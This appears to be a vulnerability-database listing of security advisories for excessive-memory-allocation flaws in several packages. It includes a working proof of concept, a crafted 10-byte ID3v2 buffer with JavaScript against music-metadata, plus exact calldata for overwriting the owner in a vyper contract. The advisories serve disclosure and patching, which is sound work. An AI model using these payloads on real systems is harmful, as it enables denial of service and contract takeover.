Common Weakness Enumeration

CWE-789

Allowed

Memory Allocation with Excessive Size Value

Abstraction: Variant · Status: Draft

API response cwe.mitre.org

The product allocates memory based on an untrusted, large size value, but it does not ensure that the size is within expected limits, allowing arbitrary amounts of memory to be allocated.

507 vulnerabilities reference this CWE, most recent first.

GHSA-J9G2-35F7-X39P

Vulnerability from github – Published: 2022-05-24 17:39 – Updated: 2022-05-24 17:39
VLAI
Details

A vulnerability in the logging subsystem of Cisco Data Center Network Manager (DCNM) could allow an authenticated, local attacker to view sensitive information in a system log file that should be restricted. The vulnerability exists because sensitive information is not properly masked before it is written to system log files. An attacker could exploit this vulnerability by authenticating to an affected device and inspecting a specific system log file. A successful exploit could allow the attacker to view sensitive information in the system log file. To exploit this vulnerability, the attacker would need to have valid user credentials.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-1283"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-01-20T20:15:00Z",
    "severity": "MODERATE"
  },
  "details": "\n A vulnerability in the logging subsystem of Cisco Data Center Network Manager (DCNM) could allow an authenticated, local attacker to view sensitive information in a system log file that should be restricted.\n The vulnerability exists because sensitive information is not properly masked before it is written to system log files. An attacker could exploit this vulnerability by authenticating to an affected device and inspecting a specific system log file. A successful exploit could allow the attacker to view sensitive information in the system log file. To exploit this vulnerability, the attacker would need to have valid user credentials.\n ",
  "id": "GHSA-j9g2-35f7-x39p",
  "modified": "2022-05-24T17:39:40Z",
  "published": "2022-05-24T17:39:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-1283"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-dcnm-info-disc-QCSJB6YG"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-JJPR-9CVF-CQ55

Vulnerability from github – Published: 2026-10-08 19:43 – Updated: 2026-10-08 19:43
VLAI
Summary
music-metadata: ID3v2 tag size not validated before allocation, causing memory exhaustion DoS
Details

Summary

The ID3v2 parser in music-metadata trusts the tag size field without validation and allocates the full requested buffer before reading. A specially crafted MP3 file with a truncated ID3v2 tag can force allocation of up to 268 MB from a 10-byte file, causing server memory exhaustion. This vulnerability affects all parsers that support ID3v2 tags (MP3, FLAC, DSF, Musepack) and succeeds silently—callers don't see an error.

Details

Vulnerable Code Path:

  • lib/id3v2/ID3v2Token.ts:108 - Syncsafe size read without validation
  • lib/id3v2/ID3v2Parser.ts:122 - Full tag body allocated before reading
  • lib/id3v2/AbstractID3Parser.ts:22 - Allocation happens before stream validation

Root Cause:

The ID3v2 parser reads a syncsafe integer representing the tag size (maximum 268,435,455 bytes or 0x0FFFFFFF) and immediately allocates a buffer of that size without checking:

  1. If the tag size exceeds the remaining file size
  2. If the tag size exceeds a reasonable maximum
  3. If the subsequent read will actually succeed
// ID3v2Token.ts:108
const size = ID3v2Header.header.toSize(); // Trusts syncsafe size directly

// Later: Allocates without validation
const tagBody = await tokenizer.readBuffer(Buffer.alloc(size));
// If actual data < size, read fails but allocation succeeded

Attack Mechanism:

  1. File contains valid ID3v2 header with 10 bytes total
  2. ID3v2 size field claims 268,435,455 bytes (maximum syncsafe value)
  3. Parser allocates 268 MB buffer
  4. Stream read fails (EOF) after 10 bytes
  5. EndOfStreamError is caught internally and silently handled
  6. Caller receives normal metadata object
  7. 268 MB remains allocated until garbage collection

Affected Parsers: MP3 (primary), FLAC, DSF, Musepack

Memory Amplification: 10 bytes input → 268 MB allocation (26.8 million times amplification)

PoC

Complete reproduction steps:

import { parseBuffer } from 'music-metadata';

// Create a minimal ID3v2 file with maximum tag size but truncated content
const maliciousFile = Uint8Array.from([
  0x49, 0x44, 0x33,       // "ID3" identifier
  0x04, 0x00,             // Version 2.4.0
  0x00,                   // Flags (no unsync, no extended header, etc)
  0x7f, 0x7f, 0x7f, 0x7f  // Syncsafe integer: maximum size (268,435,455 bytes)
  // File ends here - truncated
]);

console.log('Input file size:', maliciousFile.byteLength, 'bytes');

try {
  const metadata = await parseBuffer(maliciousFile, { mimeType: 'audio/mpeg' });
  console.log('✓ Parse succeeded (no error thrown)');
  console.log('✓ Metadata returned:', metadata);
  console.log('⚠️ ~268 MB was allocated despite only 10 bytes of input');
} catch (error) {
  console.error('✗ Unexpected error:', error.message);
}

To demonstrate memory impact:

Run with node --expose-gc to monitor allocations:

// Extended PoC to show memory usage
import { parseBuffer } from 'music-metadata';
import { performance } from 'perf_hooks';

const maliciousFile = Uint8Array.from([
  0x49, 0x44, 0x33, 0x04, 0x00, 0x00,
  0x7f, 0x7f, 0x7f, 0x7f
]);

// Force garbage collection before test
if (global.gc) global.gc();
const before = process.memoryUsage();

console.log('Memory before:', {
  heapUsed: (before.heapUsed / 1024 / 1024).toFixed(2) + ' MB',
  external: (before.external / 1024 / 1024).toFixed(2) + ' MB'
});

const start = performance.now();
await parseBuffer(maliciousFile, { mimeType: 'audio/mpeg' });
const duration = performance.now() - start;

const after = process.memoryUsage();

console.log('Memory after:', {
  heapUsed: (after.heapUsed / 1024 / 1024).toFixed(2) + ' MB',
  external: (after.external / 1024 / 1024).toFixed(2) + ' MB',
  heapDelta: ((after.heapUsed - before.heapUsed) / 1024 / 1024).toFixed(2) + ' MB',
  externalDelta: ((after.external - before.external) / 1024 / 1024).toFixed(2) + ' MB'
});

console.log('Parse time:', duration.toFixed(2) + ' ms');
console.log('Result:', after.external / 1024 / 1024 > 100 ? '⚠️ LARGE ALLOCATION' : '✓ Normal');

Expected output:

Input file size: 10 bytes
✓ Parse succeeded (no error thrown)
✓ Metadata returned: { format: {}, common: {}, native: {} }
⚠️ ~268 MB was allocated despite only 10 bytes of input

Memory before: { heapUsed: '2.50 MB', external: '0.00 MB' }
Memory after: { heapUsed: '2.60 MB', external: '256.00 MB' }
externalDelta: 256.00 MB
Parse time: 15.23 ms
Result: ⚠️ LARGE ALLOCATION

Impact

Vulnerability Type: Uncontrolled Memory Allocation / Denial of Service (CWE-789)

Attack Vector: Network - Any service that accepts and parses MP3/FLAC/DSF/Musepack files

Who is Impacted:

  • Music streaming platforms (Spotify, Apple Music, YouTube Music, etc.)
  • Podcast hosting services (Podbean, Transistor, Anchor, etc.)
  • Media servers (Plex, Subsonic, Jellyfin, etc.)
  • Audio processing services (Discord, Slack, Teams)
  • Any web service with file upload that uses music-metadata

Real-World Exploitation:

  1. Single Attacker, Multiple Files:
  2. Upload 10 malicious ID3v2 files (10 bytes each)
  3. Force 2.68 GB memory allocation

  4. Overwhelm server memory capacity

  5. Distributed Attack:

  6. 100 concurrent uploads × 268 MB = 26.8 GB memory
  7. Exhaust server memory, force OOM kills

  8. Crash worker processes, cause DoS

  9. Slow Leak:

  10. Repeatedly upload truncated ID3v2 files
  11. Each parse allocates 268 MB
  12. Memory leaks accumulate over time

  13. Server becomes unresponsive

  14. Cost Impact:

  15. Forced to scale up server capacity for parsing
  16. Increased infrastructure costs
  17. Reduced service availability
Severity
6.2 (Medium)
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 11.12.3"
      },
      "package": {
        "ecosystem": "npm",
        "name": "music-metadata"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "11.16.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-107388"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-08T19:43:17Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe ID3v2 parser in music-metadata trusts the tag size field without validation and allocates the full requested buffer before reading. A specially crafted MP3 file with a truncated ID3v2 tag can force allocation of up to 268 MB from a 10-byte file, causing server memory exhaustion. This vulnerability affects all parsers that support ID3v2 tags (MP3, FLAC, DSF, Musepack) and succeeds silently\u2014callers don\u0027t see an error.\n\n---\n\n### Details\n\n**Vulnerable Code Path:**\n\n- `lib/id3v2/ID3v2Token.ts:108` - Syncsafe size read without validation\n- `lib/id3v2/ID3v2Parser.ts:122` - Full tag body allocated before reading\n- `lib/id3v2/AbstractID3Parser.ts:22` - Allocation happens before stream validation\n\n**Root Cause:**\n\nThe ID3v2 parser reads a syncsafe integer representing the tag size (maximum 268,435,455 bytes or 0x0FFFFFFF) and immediately allocates a buffer of that size without checking:\n\n1. If the tag size exceeds the remaining file size\n2. If the tag size exceeds a reasonable maximum\n3. If the subsequent read will actually succeed\n\n```typescript\n// ID3v2Token.ts:108\nconst size = ID3v2Header.header.toSize(); // Trusts syncsafe size directly\n\n// Later: Allocates without validation\nconst tagBody = await tokenizer.readBuffer(Buffer.alloc(size));\n// If actual data \u003c size, read fails but allocation succeeded\n```\n\n**Attack Mechanism:**\n\n1. File contains valid ID3v2 header with 10 bytes total\n2. ID3v2 size field claims 268,435,455 bytes (maximum syncsafe value)\n3. Parser allocates 268 MB buffer\n4. Stream read fails (EOF) after 10 bytes\n5. `EndOfStreamError` is caught internally and silently handled\n6. Caller receives normal metadata object\n7. 268 MB remains allocated until garbage collection\n\n**Affected Parsers:** MP3 (primary), FLAC, DSF, Musepack\n\n**Memory Amplification:** 10 bytes input \u2192 268 MB allocation (26.8 million times amplification)\n\n---\n\n### PoC\n\n**Complete reproduction steps:**\n\n```javascript\nimport { parseBuffer } from \u0027music-metadata\u0027;\n\n// Create a minimal ID3v2 file with maximum tag size but truncated content\nconst maliciousFile = Uint8Array.from([\n  0x49, 0x44, 0x33,       // \"ID3\" identifier\n  0x04, 0x00,             // Version 2.4.0\n  0x00,                   // Flags (no unsync, no extended header, etc)\n  0x7f, 0x7f, 0x7f, 0x7f  // Syncsafe integer: maximum size (268,435,455 bytes)\n  // File ends here - truncated\n]);\n\nconsole.log(\u0027Input file size:\u0027, maliciousFile.byteLength, \u0027bytes\u0027);\n\ntry {\n  const metadata = await parseBuffer(maliciousFile, { mimeType: \u0027audio/mpeg\u0027 });\n  console.log(\u0027\u2713 Parse succeeded (no error thrown)\u0027);\n  console.log(\u0027\u2713 Metadata returned:\u0027, metadata);\n  console.log(\u0027\u26a0\ufe0f ~268 MB was allocated despite only 10 bytes of input\u0027);\n} catch (error) {\n  console.error(\u0027\u2717 Unexpected error:\u0027, error.message);\n}\n```\n\n**To demonstrate memory impact:**\n\nRun with `node --expose-gc` to monitor allocations:\n\n```javascript\n// Extended PoC to show memory usage\nimport { parseBuffer } from \u0027music-metadata\u0027;\nimport { performance } from \u0027perf_hooks\u0027;\n\nconst maliciousFile = Uint8Array.from([\n  0x49, 0x44, 0x33, 0x04, 0x00, 0x00,\n  0x7f, 0x7f, 0x7f, 0x7f\n]);\n\n// Force garbage collection before test\nif (global.gc) global.gc();\nconst before = process.memoryUsage();\n\nconsole.log(\u0027Memory before:\u0027, {\n  heapUsed: (before.heapUsed / 1024 / 1024).toFixed(2) + \u0027 MB\u0027,\n  external: (before.external / 1024 / 1024).toFixed(2) + \u0027 MB\u0027\n});\n\nconst start = performance.now();\nawait parseBuffer(maliciousFile, { mimeType: \u0027audio/mpeg\u0027 });\nconst duration = performance.now() - start;\n\nconst after = process.memoryUsage();\n\nconsole.log(\u0027Memory after:\u0027, {\n  heapUsed: (after.heapUsed / 1024 / 1024).toFixed(2) + \u0027 MB\u0027,\n  external: (after.external / 1024 / 1024).toFixed(2) + \u0027 MB\u0027,\n  heapDelta: ((after.heapUsed - before.heapUsed) / 1024 / 1024).toFixed(2) + \u0027 MB\u0027,\n  externalDelta: ((after.external - before.external) / 1024 / 1024).toFixed(2) + \u0027 MB\u0027\n});\n\nconsole.log(\u0027Parse time:\u0027, duration.toFixed(2) + \u0027 ms\u0027);\nconsole.log(\u0027Result:\u0027, after.external / 1024 / 1024 \u003e 100 ? \u0027\u26a0\ufe0f LARGE ALLOCATION\u0027 : \u0027\u2713 Normal\u0027);\n```\n\n**Expected output:**\n\n```\nInput file size: 10 bytes\n\u2713 Parse succeeded (no error thrown)\n\u2713 Metadata returned: { format: {}, common: {}, native: {} }\n\u26a0\ufe0f ~268 MB was allocated despite only 10 bytes of input\n\nMemory before: { heapUsed: \u00272.50 MB\u0027, external: \u00270.00 MB\u0027 }\nMemory after: { heapUsed: \u00272.60 MB\u0027, external: \u0027256.00 MB\u0027 }\nexternalDelta: 256.00 MB\nParse time: 15.23 ms\nResult: \u26a0\ufe0f LARGE ALLOCATION\n```\n\n---\n\n### Impact\n\n**Vulnerability Type:** Uncontrolled Memory Allocation / Denial of Service (CWE-789)\n\n**Attack Vector:** Network - Any service that accepts and parses MP3/FLAC/DSF/Musepack files\n\n**Who is Impacted:**\n\n- Music streaming platforms (Spotify, Apple Music, YouTube Music, etc.)\n- Podcast hosting services (Podbean, Transistor, Anchor, etc.)\n- Media servers (Plex, Subsonic, Jellyfin, etc.)\n- Audio processing services (Discord, Slack, Teams)\n- Any web service with file upload that uses music-metadata\n\n**Real-World Exploitation:**\n\n1. **Single Attacker, Multiple Files:**\n   - Upload 10 malicious ID3v2 files (10 bytes each)\n   - Force 2.68 GB memory allocation\n   - Overwhelm server memory capacity\n\n2. **Distributed Attack:**\n   - 100 concurrent uploads \u00d7 268 MB = 26.8 GB memory\n   - Exhaust server memory, force OOM kills\n   - Crash worker processes, cause DoS\n\n3. **Slow Leak:**\n   - Repeatedly upload truncated ID3v2 files\n   - Each parse allocates 268 MB\n   - Memory leaks accumulate over time\n   - Server becomes unresponsive\n\n4. **Cost Impact:**\n   - Forced to scale up server capacity for parsing\n   - Increased infrastructure costs\n   - Reduced service availability",
  "id": "GHSA-jjpr-9cvf-cq55",
  "modified": "2026-10-08T19:43:17Z",
  "published": "2026-10-08T19:43:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Borewit/music-metadata/security/advisories/GHSA-jjpr-9cvf-cq55"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Borewit/music-metadata/pull/2743"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Borewit/music-metadata/commit/b033db675b913a9dba1d29135ec3c10eae7095a7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Borewit/music-metadata"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Borewit/music-metadata/releases/tag/v11.16.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "music-metadata: ID3v2 tag size not validated before allocation, causing memory exhaustion DoS"
}

GHSA-JVX4-P844-XHJ6

Vulnerability from github – Published: 2026-08-27 18:32 – Updated: 2026-08-27 18:32
VLAI
Details

openssl_encrypt (pip: openssl-encrypt) versions 1.4.8 and earlier fail to validate the 36-bit STREAMINFO total_samples field of FLAC files before using it to size an allocation (np.random.randint(size=(total_samples, channels))). A ~50-byte crafted FLAC file declaring ~100 million samples causes a multi-gigabyte memory allocation, leading to out-of-memory denial of service during 'decrypt --stego-extract'. The issue is fixed in 1.4.9; both the 1.4.x and 1.5.x lines are affected.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-81692"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-27T17:20:59Z",
    "severity": "HIGH"
  },
  "details": "openssl_encrypt (pip: openssl-encrypt) versions 1.4.8 and earlier fail to validate the 36-bit STREAMINFO total_samples field of FLAC files before using it to size an allocation (np.random.randint(size=(total_samples, channels))). A ~50-byte crafted FLAC file declaring ~100 million samples causes a multi-gigabyte memory allocation, leading to out-of-memory denial of service during \u0027decrypt --stego-extract\u0027. The issue is fixed in 1.4.9; both the 1.4.x and 1.5.x lines are affected.",
  "id": "GHSA-jvx4-p844-xhj6",
  "modified": "2026-08-27T18:32:28Z",
  "published": "2026-08-27T18:32:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jahlives/openssl_encrypt/security/advisories/GHSA-wr9q-p3rj-vqq7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-81692"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openssl-encrypt-before-1.4.9-denial-of-service-via-streaminfo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-JWGH-MQVV-GPFH

Vulnerability from github – Published: 2026-09-25 09:31 – Updated: 2026-09-25 15:31
VLAI
Details

A pre-authentication attacker could leverage type size/count handling to cause excessive allocation leading to potential denial of service.

This issue affects Apache Qpid Broker-J: through 10.1.0.

Users are recommended to upgrade to version 10.1.1, which fixes the issue.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-92550"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-25T09:17:06Z",
    "severity": "HIGH"
  },
  "details": "A pre-authentication attacker could leverage type size/count handling to cause excessive allocation leading to potential denial of service.\n\nThis issue affects Apache Qpid Broker-J: through 10.1.0.\n\nUsers are recommended to upgrade to version 10.1.1, which fixes the issue.",
  "id": "GHSA-jwgh-mqvv-gpfh",
  "modified": "2026-09-25T15:31:41Z",
  "published": "2026-09-25T09:31:09Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-92550"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/56w1kxz9h23q364ffyvj7cssdhnld5dq"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/09/24/12"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-M2JM-F3W6-VG8C

Vulnerability from github – Published: 2026-08-13 21:36 – Updated: 2026-08-13 21:36
VLAI
Details

Elasticsearch does not enforce an upper bound on a user-supplied count accepted by a search highlighting option, and the allocation derived from that count is not accounted against any circuit breaker. An authenticated user holding only read privileges on a single searchable index can submit one small search request that causes the node to reserve an excessively large internal data structure. The allocation occurs before the existing highlighting safety limits are evaluated, so memory exhaustion raises a fatal error that terminates the Elasticsearch node process. This results in a denial of service for the affected node and degrades cluster routing and health. The defect is not volumetric and does not depend on the size of the indexed data, so a single request is sufficient.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-72639"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-13T20:17:24Z",
    "severity": "MODERATE"
  },
  "details": "Elasticsearch does not enforce an upper bound on a user-supplied count accepted by a search highlighting option, and the allocation derived from that count is not accounted against any circuit breaker. An authenticated user holding only read privileges on a single searchable index can submit one small search request that causes the node to reserve an excessively large internal data structure. The allocation occurs before the existing highlighting safety limits are evaluated, so memory exhaustion raises a fatal error that terminates the Elasticsearch node process. This results in a denial of service for the affected node and degrades cluster routing and health. The defect is not volumetric and does not depend on the size of the indexed data, so a single request is sufficient.",
  "id": "GHSA-m2jm-f3w6-vg8c",
  "modified": "2026-08-13T21:36:07Z",
  "published": "2026-08-13T21:36:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-72639"
    },
    {
      "type": "WEB",
      "url": "https://discuss.elastic.co/t/elasticsearch-8-19-20-9-4-5-9-5-1-security-update-esa-2026-120/389503"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-M3PX-Q5GJ-J9X7

Vulnerability from github – Published: 2026-06-11 00:32 – Updated: 2026-09-01 17:15
VLAI
Summary
kafka-python vulnerable to denial of service through an unvalidated protocol frame length
Details

kafka-python prior to 2.3.2 contains a denial-of-service vulnerability in the protocol parser that allows a malicious broker or machine-in-the-middle attacker to exhaust memory or hang connections by sending a crafted 4-byte frame length value without bounds validation. Attackers can send a specially crafted frame length through the receive_bytes() function to trigger either a multi-gigabyte memory allocation or an uncaught ValueError that leaves the connection in a broken state, causing requests to hang and consumers to stop heartbeating until restart.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "kafka-python"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.3.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-10142"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-01T17:15:36Z",
    "nvd_published_at": "2026-06-10T22:16:55Z",
    "severity": "HIGH"
  },
  "details": "kafka-python prior to 2.3.2 contains a denial-of-service vulnerability in the protocol parser that allows a malicious broker or machine-in-the-middle attacker to exhaust memory or hang connections by sending a crafted 4-byte frame length value without bounds validation. Attackers can send a specially crafted frame length through the receive_bytes() function to trigger either a multi-gigabyte memory allocation or an uncaught ValueError that leaves the connection in a broken state, causing requests to hang and consumers to stop heartbeating until restart.",
  "id": "GHSA-m3px-q5gj-j9x7",
  "modified": "2026-09-01T17:15:36Z",
  "published": "2026-06-11T00:32:04Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-10142"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dpkp/kafka-python/pull/3019"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dpkp/kafka-python/pull/3026"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dpkp/kafka-python/commit/6e4831444f972d169cdd11f5c8d50333cea3f19b"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dpkp/kafka-python/commit/9f92d0f53ecfee738c54638867c3d67f83017bca"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dpkp/kafka-python"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dpkp/kafka-python/releases/tag/2.3.2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/kafka-python/PYSEC-2026-2190.yaml"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/kafka-python-prior-to-denial-of-service-via-protocol-parser-frame-length"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "kafka-python vulnerable to denial of service through an unvalidated protocol frame length"
}

GHSA-M3WC-C8R8-V4HM

Vulnerability from github – Published: 2026-05-26 13:30 – Updated: 2026-05-26 13:30
VLAI
Details

Notebook Pro 2.0 contains a denial of service vulnerability that allows local attackers to crash the application by supplying an excessively long string in the notebook name field. Attackers can create a malicious text file containing 500 or more characters, paste the content into the New Notebook Name field, and trigger an application crash when attempting to create and save the notebook.

Severity
6.2 (Medium)
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
6.9 (Medium)
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2018-25378"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-25T15:16:20Z",
    "severity": "MODERATE"
  },
  "details": "Notebook Pro 2.0 contains a denial of service vulnerability that allows local attackers to crash the application by supplying an excessively long string in the notebook name field. Attackers can create a malicious text file containing 500 or more characters, paste the content into the New Notebook Name field, and trigger an application crash when attempting to create and save the notebook.",
  "id": "GHSA-m3wc-c8r8-v4hm",
  "modified": "2026-05-26T13:30:45Z",
  "published": "2026-05-26T13:30:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-25378"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/45420"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/notebook-pro-denial-of-service-via-notebook-name-field"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-M9C9-3X53-3CF8

Vulnerability from github – Published: 2026-08-27 18:32 – Updated: 2026-08-27 18:32
VLAI
Details

openssl_encrypt before 1.4.9 fails to validate the total field from QR JSON payloads before materializing ranges. Attackers can supply crafted QR images with extremely large total values to trigger unbounded memory allocation and cause denial of service through out-of-memory conditions.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-81693"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-27T17:20:59Z",
    "severity": "HIGH"
  },
  "details": "openssl_encrypt before 1.4.9 fails to validate the total field from QR JSON payloads before materializing ranges. Attackers can supply crafted QR images with extremely large total values to trigger unbounded memory allocation and cause denial of service through out-of-memory conditions.",
  "id": "GHSA-m9c9-3x53-3cf8",
  "modified": "2026-08-27T18:32:28Z",
  "published": "2026-08-27T18:32:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jahlives/openssl_encrypt/security/advisories/GHSA-r23m-gf2m-8www"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-81693"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openssl-encrypt-before-1.4.9-denial-of-service-via-qr-total-field"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-MGV8-GGGW-MRG6

Vulnerability from github – Published: 2023-05-05 22:22 – Updated: 2024-11-19 16:31
VLAI
Summary
vyper vulnerable to storage allocator overflow
Details

Impact

The storage allocator does not guard against allocation overflows. This can result in vulnerabilities like the following:

owner: public(address)
take_up_some_space: public(uint256[10])
buffer: public(uint256[max_value(uint256)])

@external
def initialize():
    self.owner = msg.sender

@external
def foo(idx: uint256, data: uint256):
    self.buffer[idx] = data

Per @toonvanhove, "An attacker can overwrite the owner variable by calling this contract with calldata: 0x04bc52f8 fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff5 ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff (spaces inserted for readability) 0x04bc52f8 is the selector for foo(uint256, uint256), and the last argument fff...fff is the new value for the owner variable."

Patches

